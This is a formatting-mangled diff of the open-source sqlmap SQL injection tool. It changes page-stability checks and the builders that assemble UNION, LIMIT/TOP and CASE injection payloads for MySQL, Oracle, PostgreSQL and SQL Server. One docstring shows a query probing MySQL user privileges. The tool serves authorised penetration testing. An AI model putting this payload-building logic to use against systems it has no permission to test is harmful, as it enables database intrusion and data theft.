warnMsg += "comparison on a sequence matcher, if no dynamic nor "
|
||||||
contentLengths = []
|
warnMsg += "injectable parameters are detected, refer to user's "
|
||||||
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
|
warnMsg += "manual paragraph 'Page comparison' and provide a "
|
||||||
|
warnMsg += "string or regular expression to match on"
|
||||||
for requestHeaders in requestsHeaders:
|
logger.warn(warnMsg)
|
||||||
requestHeaders = str(requestHeaders).lower()
|
|
||||||
|
|
||||||
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
|
|
||||||
|
|
||||||
if clHeader and clHeader.group(1).isdigit():
|
|
||||||
contentLengths.append(int(clHeader.group(1)))
|
|
||||||
|
|
||||||
if contentLengths:
|
|
||||||
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
|
|
||||||
|
|
||||||
warnMsg = "url is not stable, sqlmap inspected the headers "
|
|
||||||
warnMsg += "and identified that Content-Length can be used "
|
|
||||||
warnMsg += "in the comparison algorithm"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
kb.defaultResult = True
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
# Prepare for the comparison algorithm based on page content's
|
|
||||||
# stable lines subset
|
|
||||||
counter = 0
|
|
||||||
firstLines = firstPage.split("\n")
|
|
||||||
secondLines = secondPage.split("\n")
|
|
||||||
thirdLines = thirdPage.split("\n")
|
|
||||||
|
|
||||||
for firstLine in firstLines:
|
|
||||||
if counter > len(secondLines) or counter > len(thirdLines):
|
|
||||||
break
|
|
||||||
|
|
||||||
if firstLine in secondLines and firstLine in thirdLines:
|
|
||||||
conf.equalLines.append(firstLine)
|
|
||||||
|
|
||||||
counter += 1
|
|
||||||
|
|
||||||
if conf.equalLines:
|
|
||||||
warnMsg = "url is not stable, sqlmap inspected the page "
|
|
||||||
warnMsg += "content and identified a stable lines subset "
|
|
||||||
warnMsg += "to be used in the comparison algorithm"
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
|
|
||||||
kb.defaultResult = True
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
if condition == True:
|
if condition == True:
|
||||||
logMsg = "url is stable"
|
logMsg = "url is stable"
|
||||||
@@ -432,11 +384,16 @@ def checkConnection():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
kb.defaultResult = Request.queryPage()
|
page, _ = Request.getPage()
|
||||||
|
conf.seqMatcher.set_seq1(page)
|
||||||
|
|
||||||
except sqlmapConnectionException, exceptionMsg:
|
except sqlmapConnectionException, exceptionMsg:
|
||||||
|
exceptionMsg = str(exceptionMsg)
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
exceptionMsg += ", skipping to next url"
|
exceptionMsg += ", skipping to next url"
|
||||||
logger.warn(exceptionMsg)
|
logger.warn(exceptionMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
raise sqlmapConnectionException, exceptionMsg
|
raise sqlmapConnectionException, exceptionMsg
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -175,18 +175,9 @@ def start():
|
|||||||
|
|
||||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||||
if not conf.string and not conf.regexp and not conf.eRegexp:
|
if not conf.string and not conf.regexp and not conf.eRegexp:
|
||||||
if not checkStability():
|
# NOTE: this is not needed anymore, leaving only to display
|
||||||
errMsg = "url is not stable, try with --string or "
|
# a warning message to the user in case the page is not stable
|
||||||
errMsg += "--regexp options, refer to the user's manual "
|
checkStability()
|
||||||
errMsg += "paragraph 'Page comparison' for details"
|
|
||||||
|
|
||||||
if conf.multipleTargets:
|
|
||||||
errMsg += ", skipping to next url"
|
|
||||||
logger.warn(errMsg)
|
|
||||||
|
|
||||||
continue
|
|
||||||
else:
|
|
||||||
raise sqlmapConnectionException, errMsg
|
|
||||||
|
|
||||||
for place in conf.parameters.keys():
|
for place in conf.parameters.keys():
|
||||||
if not conf.paramDict.has_key(place):
|
if not conf.paramDict.has_key(place):
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -81,6 +81,14 @@ class Agent:
|
|||||||
return retValue
|
return retValue
|
||||||
|
|
||||||
|
|
||||||
|
def fullPayload(self, query):
|
||||||
|
query = self.prefixQuery(query)
|
||||||
|
query = self.postfixQuery(query)
|
||||||
|
payload = self.payload(newValue=query)
|
||||||
|
|
||||||
|
return payload
|
||||||
|
|
||||||
|
|
||||||
def prefixQuery(self, string):
|
def prefixQuery(self, string):
|
||||||
"""
|
"""
|
||||||
This method defines how the input string has to be escaped
|
This method defines how the input string has to be escaped
|
||||||
@@ -176,8 +184,11 @@ class Agent:
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
nulledCastedField = queries[kb.dbms].cast % field
|
if field.startswith("(CASE"):
|
||||||
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
nulledCastedField = field
|
||||||
|
else:
|
||||||
|
nulledCastedField = queries[kb.dbms].cast % field
|
||||||
|
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
||||||
|
|
||||||
return nulledCastedField
|
return nulledCastedField
|
||||||
|
|
||||||
@@ -246,15 +257,10 @@ class Agent:
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if query.startswith("SELECT ") and "(SELECT " in query:
|
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||||
firstChar = "\\("
|
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||||
else:
|
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||||
firstChar = "\\A"
|
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||||
|
|
||||||
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
|
|
||||||
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
|
|
||||||
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
|
|
||||||
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
|
|
||||||
fieldsNoSelect = query
|
fieldsNoSelect = query
|
||||||
|
|
||||||
if fieldsSelectTop:
|
if fieldsSelectTop:
|
||||||
@@ -271,10 +277,11 @@ class Agent:
|
|||||||
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||||
fieldsToCastList = fieldsToCastList.split(",")
|
fieldsToCastList = fieldsToCastList.split(",")
|
||||||
|
|
||||||
if query.startswith("SELECT ") and "(SELECT " in query:
|
# TODO: really needed?!
|
||||||
fieldsSelectFrom = None
|
#if query.startswith("SELECT ") and "(SELECT " in query:
|
||||||
|
# fieldsSelectFrom = None
|
||||||
|
|
||||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr
|
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
|
||||||
|
|
||||||
|
|
||||||
def concatQuery(self, query):
|
def concatQuery(self, query):
|
||||||
@@ -306,7 +313,7 @@ class Agent:
|
|||||||
concatQuery = ""
|
concatQuery = ""
|
||||||
query = query.replace(", ", ",")
|
query = query.replace(", ", ",")
|
||||||
|
|
||||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query)
|
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, _, fieldsToCastStr = self.getFields(query)
|
||||||
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||||
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||||
|
|
||||||
@@ -320,24 +327,25 @@ class Agent:
|
|||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
||||||
|
|
||||||
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
|
elif kb.dbms in ( "PostgreSQL", "Oracle" ):
|
||||||
if fieldsSelectFrom:
|
if fieldsSelectFrom:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||||
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||||
concatQuery += "||'%s'" % temp.stop
|
concatQuery += "||'%s'" % temp.stop
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
|
||||||
concatQuery += " FROM DUAL"
|
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle" and " FROM " not in concatQuery and ( fieldsSelect or fieldsNoSelect ):
|
||||||
concatQuery += " FROM DUAL"
|
concatQuery += " FROM DUAL"
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
if fieldsSelectFrom:
|
if fieldsSelectTop:
|
||||||
|
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1)
|
||||||
|
concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1)
|
||||||
|
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||||
|
elif fieldsSelectFrom:
|
||||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
@@ -382,6 +390,11 @@ class Agent:
|
|||||||
|
|
||||||
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
||||||
|
|
||||||
|
if query.startswith("TOP"):
|
||||||
|
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
|
||||||
|
query = query[len("TOP %s " % topNum):]
|
||||||
|
inbandQuery += "TOP %s " % topNum
|
||||||
|
|
||||||
if not exprPosition:
|
if not exprPosition:
|
||||||
exprPosition = kb.unionPosition
|
exprPosition = kb.unionPosition
|
||||||
|
|
||||||
@@ -393,32 +406,28 @@ class Agent:
|
|||||||
inbandQuery += ", "
|
inbandQuery += ", "
|
||||||
|
|
||||||
if element == exprPosition:
|
if element == exprPosition:
|
||||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
if " FROM " in query and not query.startswith("SELECT "):
|
||||||
conditionIndex = query.rindex(" FROM ")
|
conditionIndex = query.index(" FROM ")
|
||||||
inbandQuery += "%s" % query[:conditionIndex]
|
inbandQuery += query[:conditionIndex]
|
||||||
else:
|
else:
|
||||||
inbandQuery += "%s" % query
|
inbandQuery += query
|
||||||
else:
|
else:
|
||||||
inbandQuery += "NULL"
|
inbandQuery += "NULL"
|
||||||
|
|
||||||
if " FROM " in query and not query.startswith("SELECT ") and not "(SELECT " in query:
|
if " FROM " in query and not query.startswith("SELECT "):
|
||||||
conditionIndex = query.rindex(" FROM ")
|
conditionIndex = query.index(" FROM ")
|
||||||
inbandQuery += "%s" % query[conditionIndex:]
|
inbandQuery += query[conditionIndex:]
|
||||||
|
|
||||||
if kb.dbms == "Oracle":
|
if kb.dbms == "Oracle":
|
||||||
if " FROM " not in inbandQuery:
|
if " FROM " not in inbandQuery:
|
||||||
inbandQuery += " FROM DUAL"
|
inbandQuery += " FROM DUAL"
|
||||||
|
|
||||||
if " ORDER BY " in inbandQuery:
|
|
||||||
orderIndex = inbandQuery.index(" ORDER BY ")
|
|
||||||
inbandQuery = inbandQuery[:orderIndex]
|
|
||||||
|
|
||||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||||
|
|
||||||
return inbandQuery
|
return inbandQuery
|
||||||
|
|
||||||
|
|
||||||
def limitQuery(self, num, query, fieldsList=None):
|
def limitQuery(self, num, query, field):
|
||||||
"""
|
"""
|
||||||
Take in input a query string and return its limited query string.
|
Take in input a query string and return its limited query string.
|
||||||
|
|
||||||
@@ -433,8 +442,8 @@ class Agent:
|
|||||||
@param query: query to be processed
|
@param query: query to be processed
|
||||||
@type query: C{str}
|
@type query: C{str}
|
||||||
|
|
||||||
@param fieldsList: list of fields within the query
|
@param field: field within the query
|
||||||
@type fieldsList: C{list}
|
@type field: C{list}
|
||||||
|
|
||||||
@return: limited query string
|
@return: limited query string
|
||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
@@ -451,22 +460,67 @@ class Agent:
|
|||||||
limitedQuery += " %s" % limitStr
|
limitedQuery += " %s" % limitStr
|
||||||
|
|
||||||
elif kb.dbms == "Oracle":
|
elif kb.dbms == "Oracle":
|
||||||
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
|
||||||
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||||
|
|
||||||
|
if query.startswith("SELECT "):
|
||||||
|
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||||
|
else:
|
||||||
|
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
|
||||||
limitedQuery = limitedQuery % fromFrom
|
limitedQuery = limitedQuery % fromFrom
|
||||||
limitedQuery += "=%d" % (num + 1)
|
limitedQuery += "=%d" % (num + 1)
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
elif kb.dbms == "Microsoft SQL Server":
|
||||||
if re.search(" ORDER BY ", limitedQuery, re.I):
|
forgeNotIn = True
|
||||||
untilOrderChar = limitedQuery.index(" ORDER BY ")
|
|
||||||
limitedQuery = limitedQuery[:untilOrderChar]
|
|
||||||
|
|
||||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
if " ORDER BY " in limitedQuery:
|
||||||
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
|
||||||
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
||||||
|
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
|
||||||
|
|
||||||
|
if topNums:
|
||||||
|
topNums = topNums.groups()
|
||||||
|
quantityTopNums = topNums[0]
|
||||||
|
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
||||||
|
startTopNums = topNums[1]
|
||||||
|
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
||||||
|
forgeNotIn = False
|
||||||
|
else:
|
||||||
|
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
|
||||||
|
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||||
|
|
||||||
|
if forgeNotIn == True:
|
||||||
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||||
|
if " WHERE " in limitedQuery:
|
||||||
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||||
|
else:
|
||||||
|
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
||||||
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||||
|
limitedQuery += "%s %s)" % (field, fromFrom)
|
||||||
|
|
||||||
return limitedQuery
|
return limitedQuery
|
||||||
|
|
||||||
|
|
||||||
|
def forgeCaseStatement(self, expression):
|
||||||
|
"""
|
||||||
|
Take in input a query string and return its CASE statement query
|
||||||
|
string.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
||||||
|
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
|
||||||
|
|
||||||
|
@param expression: expression to be processed
|
||||||
|
@type num: C{str}
|
||||||
|
|
||||||
|
@return: processed expression
|
||||||
|
@rtype: C{str}
|
||||||
|
"""
|
||||||
|
|
||||||
|
return queries[kb.dbms].case % expression
|
||||||
|
|
||||||
|
|
||||||
# SQL agent
|
# SQL agent
|
||||||
agent = Agent()
|
agent = Agent()
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -40,6 +40,7 @@ from lib.core.data import logger
|
|||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapFilePathException
|
from lib.core.exception import sqlmapFilePathException
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
|
from lib.core.settings import SQL_STATEMENTS
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
@@ -469,7 +470,7 @@ def banner():
|
|||||||
|
|
||||||
print """
|
print """
|
||||||
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
%s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
""" % VERSION_STRING
|
""" % VERSION_STRING
|
||||||
|
|
||||||
|
|
||||||
@@ -493,39 +494,15 @@ def parsePasswordHash(password):
|
|||||||
|
|
||||||
|
|
||||||
def cleanQuery(query):
|
def cleanQuery(query):
|
||||||
# SQL SELECT statement
|
upperQuery = query
|
||||||
upperQuery = query.replace("select ", "SELECT ")
|
|
||||||
upperQuery = upperQuery.replace(" from ", " FROM ")
|
|
||||||
upperQuery = upperQuery.replace(" where ", " WHERE ")
|
|
||||||
upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
|
|
||||||
upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
|
|
||||||
upperQuery = upperQuery.replace(" having ", " HAVING ")
|
|
||||||
upperQuery = upperQuery.replace(" limit ", " LIMIT ")
|
|
||||||
upperQuery = upperQuery.replace(" offset ", " OFFSET ")
|
|
||||||
upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
|
|
||||||
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
|
|
||||||
|
|
||||||
# SQL data definition
|
for sqlStatements in SQL_STATEMENTS.values():
|
||||||
upperQuery = upperQuery.replace(" create ", " CREATE ")
|
for sqlStatement in sqlStatements:
|
||||||
upperQuery = upperQuery.replace(" drop ", " DROP ")
|
sqlStatementEsc = sqlStatement.replace("(", "\\(")
|
||||||
upperQuery = upperQuery.replace(" truncate ", " TRUNCATE ")
|
queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
|
||||||
upperQuery = upperQuery.replace(" alter ", " ALTER ")
|
|
||||||
|
|
||||||
# SQL data manipulation
|
if queryMatch:
|
||||||
upperQuery = upperQuery.replace(" insert ", " INSERT ")
|
upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
|
||||||
upperQuery = upperQuery.replace(" update ", " UPDATE ")
|
|
||||||
upperQuery = upperQuery.replace(" delete ", " DELETE ")
|
|
||||||
upperQuery = upperQuery.replace(" merge ", " MERGE ")
|
|
||||||
|
|
||||||
# SQL data control
|
|
||||||
upperQuery = upperQuery.replace(" grant ", " GRANT ")
|
|
||||||
|
|
||||||
# SQL transaction control
|
|
||||||
upperQuery = upperQuery.replace(" start transaction ", " START TRANSACTION ")
|
|
||||||
upperQuery = upperQuery.replace(" begin work ", " BEGIN WORK ")
|
|
||||||
upperQuery = upperQuery.replace(" begin transaction ", " BEGIN TRANSACTION ")
|
|
||||||
upperQuery = upperQuery.replace(" commit ", " COMMIT ")
|
|
||||||
upperQuery = upperQuery.replace(" rollback ", " ROLLBACK ")
|
|
||||||
|
|
||||||
return upperQuery
|
return upperQuery
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -23,9 +23,13 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
try:
|
||||||
|
import md5
|
||||||
|
import sha
|
||||||
|
except DeprecationWarning, _:
|
||||||
|
from hashlib import md5
|
||||||
|
from hashlib import sha
|
||||||
|
|
||||||
import md5
|
|
||||||
import sha
|
|
||||||
import struct
|
import struct
|
||||||
import urllib
|
import urllib
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ $Id$
|
|||||||
|
|
||||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
sqlmap is free software; you can redistribute it and/or modify it under
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
@@ -25,6 +25,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
import cookielib
|
import cookielib
|
||||||
|
import difflib
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
@@ -33,6 +34,8 @@ import time
|
|||||||
import urllib2
|
import urllib2
|
||||||
import urlparse
|
import urlparse
|
||||||
|
|
||||||
|
